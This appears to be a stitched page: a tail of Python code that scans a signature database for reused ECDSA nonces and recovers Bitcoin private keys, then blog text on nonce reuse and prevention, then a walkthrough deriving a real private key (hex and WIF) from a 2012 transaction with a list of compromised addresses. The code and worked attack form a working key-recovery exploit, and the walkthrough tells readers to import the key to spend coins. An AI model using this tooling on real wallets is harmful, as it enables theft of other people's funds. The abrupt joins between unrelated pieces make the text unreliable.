            cursor_insert.execute("select privkey from bitcoin.privkeys where r=unhex(%s)",(r,))
            if not cursor_insert.rowcount:
                cursor_insert.execute("INSERT IGNORE INTO bitcoin.privkeys (r,address,privkey) values (unhex(%s),%s,%s) ",(r,rsig.address(), rsig.privkey_wif()))
                db.commit()
            else:
                pause("--duplicate--")
            #cursor.executemany("UPDATE bitcoin.privkeys set address=%s, privkey=%s where r=unhex(%s)",(rsig.address, rsig.privkey_wif,r))
            pause("YAY")
        except (Exception,AssertionError) as ae:
            print ae
            #raise ae
        print recovered_sigs
        pause("--next_r---")
 
 
 
    print ""
    print ""
    print "                      Address                               Privkey                            r"
    for rsig in recovered_sigs:
        print "Privkey recovered: ", rsig.address(), rsig.privkey_wif(), rsig.sig.r
    print ""
    raise
 
 
### --- import stuff
 
class DbMysql(object):
    def __init__(self, host, username, password, db):
        self.db = MySQLdb.connect(host=host,
                                  user=username,
                                  passwd=password,
                                  db=db)
        self.cursor = self.db.cursor()
 
    def insert_batch_scriptSig(self, entries, ignore=False):
        data = [(e['tx'], bignum_to_hex(e['r']), bignum_to_hex(e['s'])) for e in entries]
        #self.cursor.execute("INSERT IGNORE INTO scriptSig (tx,r,s) VALUES (%s, x%s, %s)", data[0])
        for bdata in batch(data, 50):
            self.cursor.executemany("INSERT IGNORE INTO scriptsig_deduped (tx,r,s) VALUES (UNHEX(%s), UNHEX(%s), UNHEX(%s))",bdata)
        logger.info("db insert: scriptsig_deduped %d"%len(data))
 
    def update_stats(self, key, value):
        self.cursor.execute("INSERT INTO `stats` VALUES (%s,%s) on DUPLICATE KEY UPDATE `value`=%s", (key,value,value))
        logger.info("update stats: %-40s = %s" % (key, value))
 
    def get_stats(self, key, default):
        try:
            self.cursor.execute('SELECT * FROM stats WHERE `key`=%s LIMIT 1', (key,))
            for row in self.cursor.fetchall():
                return row[1] if len(row[1]) else default
        except Exception, e:
            return default
 
        return default
 
    def commit(self):
        self.db.commit()
 
    def close(self):
        self.commit()
        self.db.close()
 
def import_csv_to_mysql(csv_in):
    """
    config:  path_tx_in and DbMysql credentials
 
    :return:
    """
    logging.basicConfig(loglevel=logging.DEBUG)
    logger.setLevel(logging.DEBUG)
    logger.debug("hi")
 
 
    db = DbMysql(*MYSQL_PARMS)
    sigs = []
 
    t_read_diff = time.time()
    for sig in get_sigpair_from_csv(csv_in=csv_in,
                                    start=0,
                                    #skip_to_tx='a27268516da6f91599a99c7ee9ac66fac4da75f70da3421d8d4eec46767b8234',
                                    ):
        sigs.append(sig)
        if len(sigs) > 1000000:
            logger.debug("%u|about to commit 1mio sigs, reading csv took %f" % (
            sig['nr'], time.time() - t_read_diff))
            t_db_start = time.time()
            db.insert_batch_scriptSig(sigs)
            db.commit()
            logger.debug("!! db insert took: %f" % (time.time() - t_db_start))
            t_read_diff = time.time()
            sigs = []
 
    # make sure to commit outstanding sigs
    if sigs:
        db.insert_batch_scriptSig(sigs)
        db.commit()
    db.close()
 
if __name__=="__main__":
    logging.basicConfig(loglevel=logging.DEBUG, format="%(funcName)-20s -  %(message)s")
    logger.setLevel(logging.DEBUG)
    logger.warning("#" * 40)
    logger.warning("#" + "WARNING: experimental script. no warranty. you've been warned!")
    logger.warning("#" * 40)
 
    import sys
    args = sys.argv[1:]
    if not len(args):
        time.sleep(0.5) # too lazy to look up how to flush the logger
        print "USAGE: <mode> <args>"
        print "\n"
        print "examples:   this.py [selftest] import tx_in.csv.tmp  # import tx_in.csv to mysql db"
        print "            this.py recover                          # recover nonce_reuse signatures from mysql db"
        print "\n\n MYSQL config see var: MYSQL_PARMS "
        sys.exit(1)
 
 
 
    if "selftest" in args:
        logger.debug("selftest")
        selftest()
        args.remove("selftest")
 
    if args[0]=="import":
        logger.info("import: %r" % args)
        import_csv_to_mysql(args[1])
        logger.info("--done--")
        sys.exit()
 
    if args[0]=="recover":
        logger.debug("recover")
        recovered_sigs = []
        #check_balances()
        recover_privkey()
        # rsig = recover_key_for_r(18380471981355278106073484610981598768079378179376623360720556873242139981984L)
        dup_r = get_dup_r
        """
        dup_r = [113563387324078878147267949860139475116142082788494055785668341901521289846519,
                 18380471981355278106073484610981598768079378179376623360720556873242139981984,
                 19682383735358733565748628081379024202682929012377912380310432818686294127462,
                 6828441658514710620715231245132541628903431519484374098968817647395811175535]
        #dup_r = [bignum_to_hex(19682383735358733565748628081379024202682929012377912380310432818686294127462),]
        dup_r = ["2B83D59C1D23C08EFD82EE0662FEC23309C3ADBCBD1F0B8695378DB4B14E7366"]
        #dup_r = (bignum_to_hex(rr) for rr in dup_r)
 
        #dup_r = [bignum_to_hex(6828441658514710620715231245132541628903431519484374098968817647395811175535)]
        """
        for r in dup_r:
            r = r.lower()
            print "r->",r
            try:
                rsig = recover_key_for_r(r)
                print "->Privkey recovered: ", rsig.address(), rsig.privkey_wif(), r
                recovered_sigs.append(rsig)
            except Exception, ae:
                print repr(ae)
                raise ae
 
        print ""
        print ""
        print "                      Address                               Privkey                            r"
        for rsig in recovered_sigs:
            print "Privkey recovered: ",rsig.address(), rsig.privkey_wif(), rsig.sig.r
        print ""

 alt text The number of nonces used with multiple public keys, as shown in the table below, is far less surprising. alt text

The nonce which has been used 31 times with distinct public keys has the r value of 79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798. This is actually the x-coordinate of the generator point of secp256k1. This makes the corresponding k value 1. There is no point in using 1 as the k value, because the r value is the same size, but it would appear that numerous people have done so.

Solutions To This Problem

So far this has been and will continue to be more of a historical analysis largely due to the fact that there are simple ways to prevent nonce reuse, both as users or producers of wallet software. These methods are industry standard at this point. The first and simplest method, which the user can perform, is just to not reuse public keys (which implies not reusing addresses). If you never use the same public key more than once, you can never use the same nonce twice with the same public key. Not reusing addresses is a good idea because of privacy as well, as anyone who has even a basic understanding of how Bitcoin works under the hood already knows.

The other solution to this problem, which has to be implemented on the wallet software level by developers, is called deterministic nonce generation. In simple terms, this works by generating a nonce that takes into account the message being signed, as well as the private key, which results in a deterministically unique nonce every time a new input is being spent. This is because even though the private key can be the same, the message will always be different. I would expect every mainstream, reputable wallet these days to be using deterministic nonce generation.


Though I have already found some interesting data in this post, this has barely scratched the surface of all of the data to obtain. The next post in this series will contain more details about how I am obtaining this data, the scripts I am using to understand the data and obtain certain statistics, general data about more recent blocks, and information about particularly interesting cases of nonce reuse.

On December 25th of 2012 Nils Schneider first discovered a potential weakness in some Bitcoin implementations. Have a look at this transaction:

transaction: 9ec4bc49e828d924af1d1029cacf709431abbde46d59554b62bc270e3b29c4b1
input script 1:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1022044e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

input script 2:
30440220d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad102209a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab0104dbd0c61532279cf72981c3584fc32216e0127699635c2789f549e0730c059b81ae133016a69c21e23f1859a95f06d52b7bf149a8f2fe4e8535c8a829b449c5ff

This transactions has two inputs and one output. If you look closely at the two input scripts you will notice there are quite a few equal bytes at the start and at the end. Those bytes at the end is the hex-encoded public key of the address spending the coins so there’s nothing wrong with that. However, the first half of the script is the actual signature (r, s):

r1: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
r2: d47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1

s1: 44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2: 9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab

As you can see, r1 equals r2. This is a huge problem. We’ll be able to recover the private key to this public key:

private key = (z1*s2 - z2*s1)/(r*(s1-s2))

We just need to find z1 and z2! These are the hashes of the outputs to be signed. Let’s fetch the output transations and calculate them (it is calculated by OP_CHECKSIG):

z1: c0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2: 17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

That’s it. Let’s setup our sage notebook like this:

p  = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
r  = 0xd47ce4c025c35ec440bc81d99834a624875161a26bf56ef7fdc0f5d52f843ad1
s1 = 0x44e1ff2dfd8102cf7a47c21d5c9fd5701610d04953c6836596b4fe9dd2f53e3e
s2 = 0x9a5f1c75e461d7ceb1cf3cab9013eb2dc85b6d0da8c3c6e27e3a5a5b3faa5bab
z1 = 0xc0e2d0a89a348de88fda08211c70d1d7e52ccef2eb9459911bf977d587784c6e
z2 = 0x17b0f41c8c337ac1e18c98759e83a8cccbc368dd9d89e5f03cb633c265fd0ddc

p is just the order of G, a parameter of the secp256k1 curve used by Bitcoin. Let’s create a field for our calculations:

K = GF(p)

And calculate the private key within this field:

K((z1*s2 - z2*s1)/(r*(s1-s2)))
88865298299719117682218467295833367085649033095698151055007620974294165995414

Convert it to a more suitable format:

hex: c477f9f65c22cce20657faa5b2d1d8122336f851a508a1ed04e479c34985bf96
WIF: 5KJp7KEffR7HHFWSFYjiCUAntRSTY69LAQEX1AUzaSBHHFdKEpQ

And import it to your favourite Bitcoin wallet. It’ll calculate the correct bitcoin address and you’ll be able to spend coins send to this address.

There are a few vulnerable bitcoin addresses in the blockchain. After some research I was able to contact the owner of this address. He allowed me to spend the funds.

Why did this work? ECDSA requires a random number for each signature. If this random number is ever used twice with the same private key it can be recovered. This transaction was generated by a hardware bitcoin wallet using a pseudo-random number generator that was returning the same “random” number every time.

Compromised addresses

2011-05-02 18:30:22, 1A8TY7dxURcsRtPBs7fP6bDVzAgpgP4962 0.1 BTC
2011-08-10 18:09:45, 1HXSnvNGK8oYQCyLDkpHNZ2sWPvFsYQcFU 0.2 BTC
2012-04-13 20:24:08, 1JNC3iaxA95NbWrSro5me2BM27wohuucKD 0.04 BTC
2012-04-14 04:52:38, 1GYRDPaCm3hrzUcgfT49w7mcvoQu2Y4MmX 0.1 BTC
2012-04-14 06:42:27, 17gDnz5TU8T16Pgzo93M7Dm1j5HS3UuS2Q 0.1 BTC
2012-04-14 10:28:14, 1FY4Ny2ZTvDGDHshB1Rpp5Di9x6Q9GVd5a 0.05 BTC
2012-04-14 10:28:14, 1ECvZ9ojebv5TVWySf2roXRP4XyQb5rNCy 0.025 BTC
2012-04-14 11:01:37, 1FxWoGvwzjWGKk69vFumyoBaUCqzsndVck 0.05 BTC
2012-04-14 11:40:46, 1kJwZbv3dhUowPyRHcxJMknoJpPYfwaGf 0.05 BTC
2012-04-14 12:13:43, 1E9ffsnXjMnZxmJaqCLXWhqWzKqx1sZXP9 0.05 BTC
2012-04-14 12:39:27, 1Df8hDiS6RSeu9WDUqUtBpBmBoepzo24pD 0.05 BTC
2012-04-14 13:49:59, 1NCRgUAgJnzBGcLNX7iQD1d9Cn9ZyKF2PC 0.05 BTC
2012-04-14 14:48:03, 1GysfXJbf5FREeJetrwuANNZi8pcz4n1v6 0.05 BTC
2012-04-14 16:11:04, 1DcNJeexQV2kM78AdMKSzmsQ8DeNMHLTJ1 0.05 BTC
2012-04-14 17:13:33, 1CozShbCQwFqa3iw2AUE3zn7Pp1f3HR3D 0.05 BTC
2012-04-14 17:38:46, 1Js2D8Fj1AWQ2aB7TMtmJ6rn4bYDFtcjgF 0.05 BTC
2012-04-14 17:53:23, 1L8DFt7yYA3iZsr6RA3d1mpf4J7TgBsYF 0.05 BTC
2012-04-14 18:07:18, 13oCG1VNMAGtNp9RcAmUieRf8NayAJ7xj7 0.05 BTC
2012-04-14 18:48:18, 1FX2xLHNxcT77bxLZXHzet6e8kMSS53uDK 0.05 BTC
2012-04-14 19:13:24, 1BRwmguCycCWSbueTcpn1vSJddMJXEhyjH 0.05 BTC
2012-04-14 20:10:32, 1PWTFonhiXCdTZ4Nd2J726rqWnNsTVeVMY 0.05 BTC
2012-04-14 20:17:36, 1JZ5NjZCDrnj84mZnv2fuAmAb7w4v5LiEu 0.05 BTC
2012-04-14 23:18:03, 1ENrnLCxp9srcWCCE3kQFNqHRGDijespb9 0.05 BTC
2012-04-14 23:33:44, 1Mjwi2LnE6oz3p8dNFXWgMpAPBs6ZpPPA2 0.05 BTC
2012-04-15 00:53:23, 1Dka5AAYwdZkrPJZHjKmdZkaVATnwYeSqG 0.05 BTC
2012-04-15 02:15:35, 15E8CUjvHDVj8mBzhkNHErXtz4AeEHycpH 0.05 BTC
2012-04-15 04:38:53, 12ekVy8duhBMLGd1JhxcgxrTN1fchmVcTo 0.05 BTC
2012-04-15 05:35:53, 14RJsWTjq9q2a9tNQSdpxbMaViWoXxRbjt 0.05 BTC
2012-04-15 07:15:43, 1JCMAUG9P8X4PHM7rF4ywDFHaAK2FMRrkN 0.05 BTC
2012-04-15 07:39:59, 138VcLyoAb5sdjo3cDw7d14fUGLKRwQ9VK 0.05 BTC
2012-04-15 07:39:59, 12RFNoJK2MSiWfXt3fFG7F4urUpLGnTBxh 0.05 BTC
2012-04-15 08:54:05, 1CFVxqxX3i9L9dm6Gw2QKJ2fH18HSJ9H8k 0.05 BTC
2012-04-15 08:54:05, 1kMEr9W4YeAnzFcuSWwj3ShYGANdLHSxG 0.05 BTC
2012-04-15 09:53:24, 143CugrdSngLmDaLWoLrWJzb4AU1xLMqoY 0.05 BTC
2012-04-15 09:53:24, 1NvfCyqRh6cuh8dCQDJmboriifg1eaYDnV 0.05 BTC
2012-04-15 12:01:16, 1PXU5aD3fzgAm2E56o2VSaHpVe4bhe3d2m 0.05 BTC
2012-04-15 12:01:16, 1AnFEpvs8a41T3ZpfPtXBENvkL5oatQ64D 0.05 BTC
2012-04-15 12:08:12, 1GjDS84eNBx6QQoo7dBddvgYArSttxLYdk 0.05 BTC
2012-04-15 12:08:12, 1szVke6ThJtfdUTi6Y5AAMDMePM4Ha8vK 0.05 BTC
2012-04-15 13:17:59, 1CNHzFKNCkCwYecVUfmahmqDFrn5uuRzsU 0.05 BTC
2012-04-15 13:17:59, 13ds2bCrxe68w8WD4R7bWSjGq4uK7XbzWH 0.05 BTC
2012-04-15 18:31:29, 16He3EDsvTKYRSQGsZeoooTbYAjy9fiLoQ 0.05 BTC
2012-04-15 20:10:53, 14reTqqg8r4qriHozsYoydugzLjYtpVoMZ 0.05 BTC
2012-04-15 20:10:53, 14FguDL7teNFCctazjUxCxCfZtssycq11h 0.05 BTC
2012-04-16 06:26:11, 1yiQRuB3KRxZTrSHBNZK9NdjbyJskHiVs 0.05 BTC
2012-04-16 06:26:11, 1FwbYs6UL2fzB9crvhWNCZyr9oqNjEXzcu 0.05 BTC
2012-04-16 11:26:49, 1Lr9tUFz4mypFzc3PYitgGU1dTg21ubM9p 0.05 BTC
2012-04-16 11:26:49, 1K5CgovB1c4vX22MvUq8cfRsuctG86Jmx5 0.05 BTC
2012-04-16 13:42:42, 19cRkXQfonjdJT9K8TMuDxV1PKLSdHZtPh 0.05 BTC
2012-04-16 13:42:42, 18mmzMizs5CHtLJwchtPMuiYqVqWjw3rLe 0.05 BTC
2012-04-16 14:46:48, 1NEb41nDgxWwVzhHSsk4obURJ13KauJRsF 0.05 BTC
2012-04-16 14:46:48, 13CWujDi4g6DWB9bWDXT3TfRU635NPJdPF 0.05 BTC
2012-04-16 14:46:48, 1G3BjSLWsWH6tbPYs29fYMYaz9k8EStQM 0.05 BTC
2012-04-16 15:10:12, 1C3G6y8Cyi7ECDaaDhG34sLzrv1dd7Xo33 0.05 BTC
2012-04-16 15:10:12, 1494Wwkf8QN4nC3gSYz3qjZVNuVZSHw2zi 0.05 BTC
2012-04-16 15:35:02, 1FYXLjfFJ1qsngiArLsrBVEGRaKkV15FGV 0.05 BTC
2012-04-16 15:35:02, 1EFET6LSLabV5KR55XqRzzhQ1rBUGTD1SQ 0.05 BTC
2012-04-16 15:38:39, 1J8THH46JdkjiGYLQyPQDHVk4gtftahDUx 0.05 BTC
2012-04-16 15:38:39, 1CRcBxVoXCqL7cEiq7b7rTYQyMhUrCu5Mf 0.05 BTC
2012-04-16 15:56:34, 1JjcWuJDRNkw3XcMfE7khhRg1UCxU8eKua 0.05 BTC
2012-04-16 15:56:34, 1Fcj89eqk1xCe6PqkMpaUuWCaK7MUXeYbZ 0.05 BTC
2012-04-16 16:01:09, 196SL6bZEvBT8A9z46df54zE3rzZfXzwe8 0.05 BTC
2012-04-16 16:01:09, 12a7gpjZDQBDhVSknfQzL3ygcASNQcocnd 0.05 BTC
2012-04-16 16:11:33, 1JFMHv7ijwXDQYQrehhSxn6u9bTfkGCmK 0.05 BTC
2012-04-16 16:11:33, 1M5edBFjjFJhQhgSuCUQnX3uytcskgnqQB 0.05 BTC
2012-04-16 16:51:00, 1F9tB2p9NWsGEt1TjiGAa3WEEGs9Wc779R 0.05 BTC
2012-04-16 16:51:00, 19yCy4mFWJVsdJbgtG79VwHGxQpcx4uhcr 0.05 BTC
2012-05-03 06:59:31, 19DcmnrhqpLgn8L6Exay1sJiKZPtYUAw1Y 0.05 BTC
2012-05-03 06:59:31, 1B8vhS5umMNKvwQFHJ3Hgres4NJeoe8U7Y 0.05 BTC
2012-05-03 08:12:03, 13LRBbvgCSXsUs4JNmYhzHRo3re8vYVDid 0.05 BTC
2012-05-03 10:21:05, 16UkUnbqW8PXRrwgxRdb2UTivbgNnBYqwC 0.05 BTC
2012-05-03 10:21:05, 1N2aQiQ5LjNQ3C3cKCmHHnnq65RH3zRD9B 0.05 BTC
2012-05-03 12:34:52, 1AyTNQRvz6fo7EvebGpKfJB7jJeppxY4yc 0.05 BTC
2012-05-03 13:06:24, 1JnqZ6Djhncs9YHe74CbkLaXXAbA1phsTU 0.05 BTC
2012-05-04 04:41:34, 1JmMcWWy1mFuubbsBRPuVXdjFdtM2ENJXE 0.05 BTC
2012-05-04 09:32:23, 17Vjk88w6fy5YRVUGD6Aa9w545UA6K4tYZ 0.05 BTC
2012-05-05 09:23:49, 16NCxA48LPKdSr5fACPnrLxgkrFnDJAzLp 0.025 BTC
2012-05-05 12:28:34, 1LKu5b7jUoM7MJzeuTCmvDWsJrBgBhcvhb 0.025 BTC
2012-05-05 13:40:16, 12CkZeZvwDwiTvFm5H8bABpEqQHXJ6gWc1 0.04 BTC
2012-05-05 16:36:43, 14ih1qxbcFmwLm8Hc7qTr3BhzdmWTWRmpC 0.04 BTC
2012-05-05 17:39:50, 18pqzCLA17hdnzxFnf5Cad2feA1RHKtW2P 0.04 BTC
2012-05-05 17:39:50, 1Pbt1LGM2JNgMjtnEscEmntsSrcYofeaoa 0.04 BTC
2012-05-06 03:49:28, 17sDdDiW2dNRQvTu2NkwwCbfXNFxVCpbZW 0.05 BTC
2012-05-06 03:49:28, 154nELZtftuW951oQY7erHnN4L196c98Wp 0.04 BTC
2012-05-06 03:49:28, 15GieELLKTruUdzmTDVYP1TsjnzNRDg8Qa 0.04 BTC
2012-05-06 09:05:03, 1LnBTt9TYRMt4aABcDYSoaMQ9jV8Qgajkx 0.046 BTC
2012-05-06 09:05:03, 1NuSEboWF7YJ3bozo5H1JDpH5yc7zyHZm8 0.046 BTC
2012-05-06 09:05:03, 1ALsXt19tBxMr29WfM2Zd7EU8HwzooLGHx 0.046 BTC